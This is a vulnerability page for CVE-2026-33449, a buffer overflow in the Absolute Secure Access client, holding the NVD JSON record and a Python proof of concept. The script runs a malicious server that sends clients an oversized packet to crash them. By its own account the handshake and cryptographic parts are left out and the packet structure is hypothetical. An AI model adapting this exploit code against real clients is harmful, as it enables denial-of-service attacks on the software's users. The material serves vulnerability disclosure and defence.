CVE-2026-33449

import socket import struct import time # Conceptual PoC for CVE-2026-33449 # Note: Actual exploitation requires a valid cryptographic context which is omitted here. # This demonstrates the network interaction to trigger the buffer overflow. def create_malicious_packet(): # Construct a packet header (Hypothetical structure) # [Length: 4 bytes][Type: 2 bytes][Flags: 2 bytes] msg_type = 0x05 # Hypothetical message type for 'Keep Alive' or 'Config' flags = 0x00 # The overflow trigger: A payload size larger than the allocated buffer. # Assuming the buffer is 256 bytes, we send 300. payload_size = 300 payload = b"\x41" * payload_size # Filling with 'A' header = struct.pack("!IHH", payload_size, msg_type, flags) return header + payload def run_exploit(listen_ip, listen_port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((listen_ip, listen_port)) server.listen(5) print(f"[*] Listening on {listen_ip}:{listen_port} waiting for client connection...") while True: client, addr = server.accept() print(f"[+] Connection accepted from {addr[0]}:{addr[1]}") # Simulate handshake (omitted for brevity) time.sleep(1) # Send the malicious payload evil_packet = create_malicious_packet() client.send(evil_packet) print(f"[*] Sent payload of length {len(evil_packet)} bytes.") print("[*] Check client for crash.") client.close() # In a real scenario, the server might stop or loop break except Exception as e: print(f"[-] Error: {e}") finally: server.close() if __name__ == "__main__": # The vulnerable client must be configured to connect to this IP/Port run_exploit("0.0.0.0", 4433)

{"cve": {"id": "CVE-2026-33449", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:31.570", "lastModified": "2026-05-05T02:27:54.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CVE-2026-33449 is a buffer overflow in a message handling function of \nthe Secure Access client prior to 14.50. Attackers with control of \na modified server can send a cryptographically valid message to the \nclient, overwriting a small portion of memory conceivably leading to a \ndenial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.50", "matchCriteriaId": "FBD1BC48-5034-499F-8C00-89FCD8EA2FC6"}]}]}], "references": [{"url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-33449", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}